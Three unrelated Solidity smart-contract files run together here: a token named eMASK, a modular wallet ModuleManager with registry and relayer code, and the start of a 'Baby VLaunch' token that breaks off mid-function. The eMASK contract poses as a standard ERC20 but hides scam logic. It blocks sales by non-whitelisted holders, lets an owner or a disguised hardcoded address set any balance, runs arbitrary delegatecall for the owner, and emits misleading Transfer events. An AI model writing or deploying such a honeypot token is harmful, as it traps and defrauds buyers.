pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } //heyuemingchen contract eMASK { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1128272879772349028992474526206451541022554459967)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.4.24; /** * @title Module * @dev Interface for a module. * A module MUST implement the addModule() method to ensure that a wallet with at least one module * can never end up in a "frozen" state. * @author Julien Niset - <[email protected]> */ interface Module { /** * @dev Inits a module for a wallet by e.g. setting some wallet specific parameters in storage. * @param _wallet The wallet. */ function init(BaseWallet _wallet) external; /** * @dev Adds a module to a wallet. * @param _wallet The target wallet. * @param _module The modules to authorise. */ function addModule(BaseWallet _wallet, Module _module) external; /** * @dev Utility method to recover any ERC20 token that was sent to the * module by mistake. * @param _token The token to recover. */ function recoverToken(address _token) external; } /** * @title Upgrader * @dev Interface for a contract that can upgrade wallets by enabling/disabling modules. * @author Julien Niset - <[email protected]> */ interface Upgrader { /** * @dev Upgrades a wallet by enabling/disabling modules. * @param _wallet The owner. */ function upgrade(address _wallet, address[] _toDisable, address[] _toEnable) external; function toDisable() external view returns (address[]); function toEnable() external view returns (address[]); } /** * @title BaseModule * @dev Basic module that contains some methods common to all modules. * @author Julien Niset - <[email protected]> */ contract BaseModule is Module { // The adddress of the module registry. ModuleRegistry internal registry; event ModuleCreated(bytes32 name); event ModuleInitialised(address wallet); constructor(ModuleRegistry _registry, bytes32 _name) public { registry = _registry; emit ModuleCreated(_name); } /** * @dev Throws if the sender is not the target wallet of the call. */ modifier onlyWallet(BaseWallet _wallet) { require(msg.sender == address(_wallet), "BM: caller must be wallet"); _; } /** * @dev Throws if the sender is not the owner of the target wallet or the module itself. */ modifier onlyOwner(BaseWallet _wallet) { require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet"); _; } /** * @dev Throws if the sender is not the owner of the target wallet. */ modifier strictOnlyOwner(BaseWallet _wallet) { require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet"); _; } /** * @dev Inits the module for a wallet by logging an event. * The method can only be called by the wallet itself. * @param _wallet The wallet. */ function init(BaseWallet _wallet) external onlyWallet(_wallet) { emit ModuleInitialised(_wallet); } /** * @dev Adds a module to a wallet. First checks that the module is registered. * @param _wallet The target wallet. * @param _module The modules to authorise. */ function addModule(BaseWallet _wallet, Module _module) external strictOnlyOwner(_wallet) { require(registry.isRegisteredModule(_module), "BM: module is not registered"); _wallet.authoriseModule(_module, true); } /** * @dev Utility method enbaling anyone to recover ERC20 token sent to the * module by mistake and transfer them to the Module Registry. * @param _token The token to recover. */ function recoverToken(address _token) external { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(address(registry), total); } /** * @dev Helper method to check if an address is the owner of a target wallet. * @param _wallet The target wallet. * @param _addr The address. */ function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) { return _wallet.owner() == _addr; } } /** * @title RelayerModule * @dev Base module containing logic to execute transactions signed by eth-less accounts and sent by a relayer. * @author Julien Niset - <[email protected]> */ contract RelayerModule is Module { uint256 constant internal BLOCKBOUND = 10000; mapping (address => RelayerConfig) public relayer; struct RelayerConfig { uint256 nonce; mapping (bytes32 => bool) executedTx; } event TransactionExecuted(address indexed wallet, bool indexed success, bytes32 signedHash); /** * @dev Throws if the call did not go through the execute() method. */ modifier onlyExecute { require(msg.sender == address(this), "RM: must be called via execute()"); _; } /* ***************** Abstract method ************************* */ /** * @dev Gets the number of valid signatures that must be provided to execute a * specific relayed transaction. * @param _wallet The target wallet. * @param _data The data of the relayed transaction. * @return The number of required signatures. */ function getRequiredSignatures(BaseWallet _wallet, bytes _data) internal view returns (uint256); /** * @dev Validates the signatures provided with a relayed transaction. * The method MUST throw if one or more signatures are not valid. * @param _wallet The target wallet. * @param _data The data of the relayed transaction. * @param _signHash The signed hash representing the relayed transaction. * @param _signatures The signatures as a concatenated byte array. */ function validateSignatures(BaseWallet _wallet, bytes _data, bytes32 _signHash, bytes _signatures) internal view returns (bool); /* ************************************************************ */ /** * @dev Executes a relayed transaction. * @param _wallet The target wallet. * @param _data The data for the relayed transaction * @param _nonce The nonce used to prevent replay attacks. * @param _signatures The signatures as a concatenated byte array. * @param _gasPrice The gas price to use for the gas refund. * @param _gasLimit The gas limit to use for the gas refund. */ function execute( BaseWallet _wallet, bytes _data, uint256 _nonce, bytes _signatures, uint256 _gasPrice, uint256 _gasLimit ) external returns (bool success) { uint startGas = gasleft(); bytes32 signHash = getSignHash(address(this), _wallet, 0, _data, _nonce, _gasPrice, _gasLimit); require(checkAndUpdateUniqueness(_wallet, _nonce, signHash), "RM: Duplicate request"); require(verifyData(address(_wallet), _data), "RM: the wallet authorized is different then the target of the relayed data"); uint256 requiredSignatures = getRequiredSignatures(_wallet, _data); if((requiredSignatures * 65) == _signatures.length) { if(verifyRefund(_wallet, _gasLimit, _gasPrice, requiredSignatures)) { if(requiredSignatures == 0 || validateSignatures(_wallet, _data, signHash, _signatures)) { // solium-disable-next-line security/no-call-value success = address(this).call(_data); refund(_wallet, startGas - gasleft(), _gasPrice, _gasLimit, requiredSignatures, msg.sender); } } } emit TransactionExecuted(_wallet, success, signHash); } /** * @dev Gets the current nonce for a wallet. * @param _wallet The target wallet. */ function getNonce(BaseWallet _wallet) external view returns (uint256 nonce) { return relayer[_wallet].nonce; } /** * @dev Generates the signed hash of a relayed transaction according to ERC 1077. * @param _from The starting address for the relayed transaction (should be the module) * @param _to The destination address for the relayed transaction (should be the wallet) * @param _value The value for the relayed transaction * @param _data The data for the relayed transaction * @param _nonce The nonce used to prevent replay attacks. * @param _gasPrice The gas price to use for the gas refund. * @param _gasLimit The gas limit to use for the gas refund. */ function getSignHash( address _from, address _to, uint256 _value, bytes _data, uint256 _nonce, uint256 _gasPrice, uint256 _gasLimit ) internal pure returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(byte(0x19), byte(0), _from, _to, _value, _data, _nonce, _gasPrice, _gasLimit)) )); } /** * @dev Checks if the relayed transaction is unique. * @param _wallet The target wallet. * @param _nonce The nonce * @param _signHash The signed hash of the transaction */ function checkAndUpdateUniqueness(BaseWallet _wallet, uint256 _nonce, bytes32 _signHash) internal returns (bool) { if(relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } /** * @dev Checks that a nonce has the correct format and is valid. * It must be constructed as nonce = {block number}{timestamp} where each component is 16 bytes. * @param _wallet The target wallet. * @param _nonce The nonce */ function checkAndUpdateNonce(BaseWallet _wallet, uint256 _nonce) internal returns (bool) { if(_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if(nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; } /** * @dev Recovers the signer at a given position from a list of concatenated signatures. * @param _signedHash The signed hash * @param _signatures The concatenated signatures. * @param _index The index of the signature to recover. */ function recoverSigner(bytes32 _signedHash, bytes _signatures, uint _index) internal pure returns (address) { uint8 v; bytes32 r; bytes32 s; // we jump 32 (0x20) as the first slot of bytes contains the length // we jump 65 (0x41) per signature // for v we load 32 bytes ending with v (the first 31 come from s) then apply a mask // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(_signatures, add(0x20,mul(0x41,_index)))) s := mload(add(_signatures, add(0x40,mul(0x41,_index)))) v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff) } require(v == 27 || v == 28); return ecrecover(_signedHash, v, r, s); } /** * @dev Refunds the gas used to the Relayer. * For security reasons the default behavior is to not refund calls with 0 or 1 signatures. * @param _wallet The target wallet. * @param _gasUsed The gas used. * @param _gasPrice The gas price for the refund. * @param _gasLimit The gas limit for the refund. * @param _signatures The number of signatures used in the call. * @param _relayer The address of the Relayer. */ function refund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _gasLimit, uint _signatures, address _relayer) internal { uint256 amount = 29292 + _gasUsed; // 21000 (transaction) + 7620 (execution of refund) + 672 to log the event + _gasUsed // only refund if gas price not null, more than 1 signatures, gas less than gasLimit if(_gasPrice > 0 && _signatures > 1 && amount <= _gasLimit) { if(_gasPrice > tx.gasprice) { amount = amount * tx.gasprice; } else { amount = amount * _gasPrice; } _wallet.invoke(_relayer, amount, ""); } } /** * @dev Returns false if the refund is expected to fail. * @param _wallet The target wallet. * @param _gasUsed The expected gas used. * @param _gasPrice The expected gas price for the refund. */ function verifyRefund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _signatures) internal view returns (bool) { if(_gasPrice > 0 && _signatures > 1 && (address(_wallet).balance < _gasUsed * _gasPrice || _wallet.authorised(this) == false)) { return false; } return true; } /** * @dev Checks that the wallet address provided as the first parameter of the relayed data is the same * as the wallet passed as the input of the execute() method. @return false if the addresses are different. */ function verifyData(address _wallet, bytes _data) private pure returns (bool) { require(_data.length >= 36, "RM: Invalid dataWallet"); address dataWallet; // solium-disable-next-line security/no-inline-assembly assembly { //_data = {length:32}{sig:4}{_wallet:32}{...} dataWallet := mload(add(_data, 0x24)) } return dataWallet == _wallet; } /** * @dev Parses the data to extract the method signature. */ function functionPrefix(bytes _data) internal pure returns (bytes4 prefix) { require(_data.length >= 4, "RM: Invalid functionPrefix"); // solium-disable-next-line security/no-inline-assembly assembly { prefix := mload(add(_data, 0x20)) } } } /** * @title OnlyOwnerModule * @dev Module that extends BaseModule and RelayerModule for modules where the execute() method * must be called with one signature frm the owner. * @author Julien Niset - <[email protected]> */ contract OnlyOwnerModule is BaseModule, RelayerModule { // *************** Implementation of RelayerModule methods ********************* // // Overrides to use the incremental nonce and save some gas function checkAndUpdateUniqueness(BaseWallet _wallet, uint256 _nonce, bytes32 _signHash) internal returns (bool) { return checkAndUpdateNonce(_wallet, _nonce); } function validateSignatures(BaseWallet _wallet, bytes _data, bytes32 _signHash, bytes _signatures) internal view returns (bool) { address signer = recoverSigner(_signHash, _signatures, 0); return isOwner(_wallet, signer); // "OOM: signer must be owner" } function getRequiredSignatures(BaseWallet _wallet, bytes _data) internal view returns (uint256) { return 1; } } /** * ERC20 contract interface. */ contract ERC20 { function totalSupply() public view returns (uint); function decimals() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); } /** * @title Owned * @dev Basic contract to define an owner. * @author Julien Niset - <[email protected]> */ contract Owned { // The owner address public owner; event OwnerChanged(address indexed _newOwner); /** * @dev Throws if the sender is not the owner. */ modifier onlyOwner { require(msg.sender == owner, "Must be owner"); _; } constructor() public { owner = msg.sender; } /** * @dev Lets the owner transfer ownership of the contract to a new owner. * @param _newOwner The new owner. */ function changeOwner(address _newOwner) external onlyOwner { require(_newOwner != address(0), "Address must not be null"); owner = _newOwner; emit OwnerChanged(_newOwner); } } /** * @title ModuleRegistry * @dev Registry of authorised modules. * Modules must be registered before they can be authorised on a wallet. * @author Julien Niset - <[email protected]> */ contract ModuleRegistry is Owned { mapping (address => Info) internal modules; mapping (address => Info) internal upgraders; event ModuleRegistered(address indexed module, bytes32 name); event ModuleDeRegistered(address module); event UpgraderRegistered(address indexed upgrader, bytes32 name); event UpgraderDeRegistered(address upgrader); struct Info { bool exists; bytes32 name; } /** * @dev Registers a module. * @param _module The module. * @param _name The unique name of the module. */ function registerModule(address _module, bytes32 _name) external onlyOwner { require(!modules[_module].exists, "MR: module already exists"); modules[_module] = Info({exists: true, name: _name}); emit ModuleRegistered(_module, _name); } /** * @dev Deregisters a module. * @param _module The module. */ function deregisterModule(address _module) external onlyOwner { require(modules[_module].exists, "MR: module does not exists"); delete modules[_module]; emit ModuleDeRegistered(_module); } /** * @dev Registers an upgrader. * @param _upgrader The upgrader. * @param _name The unique name of the upgrader. */ function registerUpgrader(address _upgrader, bytes32 _name) external onlyOwner { require(!upgraders[_upgrader].exists, "MR: upgrader already exists"); upgraders[_upgrader] = Info({exists: true, name: _name}); emit UpgraderRegistered(_upgrader, _name); } /** * @dev Deregisters an upgrader. * @param _upgrader The _upgrader. */ function deregisterUpgrader(address _upgrader) external onlyOwner { require(upgraders[_upgrader].exists, "MR: upgrader does not exists"); delete upgraders[_upgrader]; emit UpgraderDeRegistered(_upgrader); } /** * @dev Utility method enbaling the owner of the registry to claim any ERC20 token that was sent to the * registry. * @param _token The token to recover. */ function recoverToken(address _token) external onlyOwner { uint total = ERC20(_token).balanceOf(address(this)); ERC20(_token).transfer(msg.sender, total); } /** * @dev Gets the name of a module from its address. * @param _module The module address. * @return the name. */ function moduleInfo(address _module) external view returns (bytes32) { return modules[_module].name; } /** * @dev Gets the name of an upgrader from its address. * @param _upgrader The upgrader address. * @return the name. */ function upgraderInfo(address _upgrader) external view returns (bytes32) { return upgraders[_upgrader].name; } /** * @dev Checks if a module is registered. * @param _module The module address. * @return true if the module is registered. */ function isRegisteredModule(address _module) external view returns (bool) { return modules[_module].exists; } /** * @dev Checks if a list of modules are registered. * @param _modules The list of modules address. * @return true if all the modules are registered. */ function isRegisteredModule(address[] _modules) external view returns (bool) { for(uint i = 0; i < _modules.length; i++) { if (!modules[_modules[i]].exists) { return false; } } return true; } /** * @dev Checks if an upgrader is registered. * @param _upgrader The upgrader address. * @return true if the upgrader is registered. */ function isRegisteredUpgrader(address _upgrader) external view returns (bool) { return upgraders[_upgrader].exists; } } /** * @title BaseWallet * @dev Simple modular wallet that authorises modules to call its invoke() method. * Based on https://gist.github.com/Arachnid/a619d31f6d32757a4328a428286da186 by * @author Julien Niset - <[email protected]> */ contract BaseWallet { // The implementation of the proxy address public implementation; // The owner address public owner; // The authorised modules mapping (address => bool) public authorised; // The enabled static calls mapping (bytes4 => address) public enabled; // The number of modules uint public modules; event AuthorisedModule(address indexed module, bool value); event EnabledStaticCall(address indexed module, bytes4 indexed method); event Invoked(address indexed module, address indexed target, uint indexed value, bytes data); event Received(uint indexed value, address indexed sender, bytes data); event OwnerChanged(address owner); /** * @dev Throws if the sender is not an authorised module. */ modifier moduleOnly { require(authorised[msg.sender], "BW: msg.sender not an authorized module"); _; } /** * @dev Inits the wallet by setting the owner and authorising a list of modules. * @param _owner The owner. * @param _modules The modules to authorise. */ function init(address _owner, address[] _modules) external { require(owner == address(0) && modules == 0, "BW: wallet already initialised"); require(_modules.length > 0, "BW: construction requires at least 1 module"); owner = _owner; modules = _modules.length; for(uint256 i = 0; i < _modules.length; i++) { require(authorised[_modules[i]] == false, "BW: module is already added"); authorised[_modules[i]] = true; Module(_modules[i]).init(this); emit AuthorisedModule(_modules[i], true); } } /** * @dev Enables/Disables a module. * @param _module The target module. * @param _value Set to true to authorise the module. */ function authoriseModule(address _module, bool _value) external moduleOnly { if (authorised[_module] != _value) { if(_value == true) { modules += 1; authorised[_module] = true; Module(_module).init(this); } else { modules -= 1; require(modules > 0, "BW: wallet must have at least one module"); delete authorised[_module]; } emit AuthorisedModule(_module, _value); } } /** * @dev Enables a static method by specifying the target module to which the call * must be delegated. * @param _module The target module. * @param _method The static method signature. */ function enableStaticCall(address _module, bytes4 _method) external moduleOnly { require(authorised[_module], "BW: must be an authorised module for static call"); enabled[_method] = _module; emit EnabledStaticCall(_module, _method); } /** * @dev Sets a new owner for the wallet. * @param _newOwner The new owner. */ function setOwner(address _newOwner) external moduleOnly { require(_newOwner != address(0), "BW: address cannot be null"); owner = _newOwner; emit OwnerChanged(_newOwner); } /** * @dev Performs a generic transaction. * @param _target The address for the transaction. * @param _value The value of the transaction. * @param _data The data of the transaction. */ function invoke(address _target, uint _value, bytes _data) external moduleOnly { // solium-disable-next-line security/no-call-value require(_target.call.value(_value)(_data), "BW: call to target failed"); emit Invoked(msg.sender, _target, _value, _data); } /** * @dev This method makes it possible for the wallet to comply to interfaces expecting the wallet to * implement specific static methods. It delegates the static call to a target contract if the data corresponds * to an enabled method, or logs the call otherwise. */ function() public payable { if(msg.data.length > 0) { address module = enabled[msg.sig]; if(module == address(0)) { emit Received(msg.value, msg.sender, msg.data); } else { require(authorised[module], "BW: must be an authorised module for static call"); // solium-disable-next-line security/no-inline-assembly assembly { calldatacopy(0, 0, calldatasize()) let result := staticcall(gas, module, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 {revert(0, returndatasize())} default {return (0, returndatasize())} } } } } } /** * @title ModuleManager * @dev Module to manage the addition, removal and upgrade of the modules of wallets. * @author Julien Niset - <[email protected]> */ contract ModuleManager is BaseModule, RelayerModule, OnlyOwnerModule { bytes32 constant NAME = "ModuleManager"; constructor(ModuleRegistry _registry) BaseModule(_registry, NAME) public { } /** * @dev Upgrades the modules of a wallet. * The implementation of the upgrade is delegated to a contract implementing the Upgrade interface. * This makes it possible for the manager to implement any possible present and future upgrades * without the need to authorise modules just for the upgrade process. * @param _wallet The target wallet. * @param _upgrader The address of an implementation of the Upgrader interface. */ function upgrade(BaseWallet _wallet, Upgrader _upgrader) external onlyOwner(_wallet) { require(registry.isRegisteredUpgrader(_upgrader), "MM: upgrader is not registered"); address[] memory toDisable = _upgrader.toDisable(); address[] memory toEnable = _upgrader.toEnable(); bytes memory methodData = abi.encodeWithSignature("upgrade(address,address[],address[])", _wallet, toDisable, toEnable); // solium-disable-next-line security/no-low-level-calls require(address(_upgrader).delegatecall(methodData), "MM: upgrade failed"); } }
DC1
/** Baby VLaunch https://twitter.com/BabyVLaunchCOM https://t.me/BabyVLaunchCOM https://BabyVLaunch.com */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != 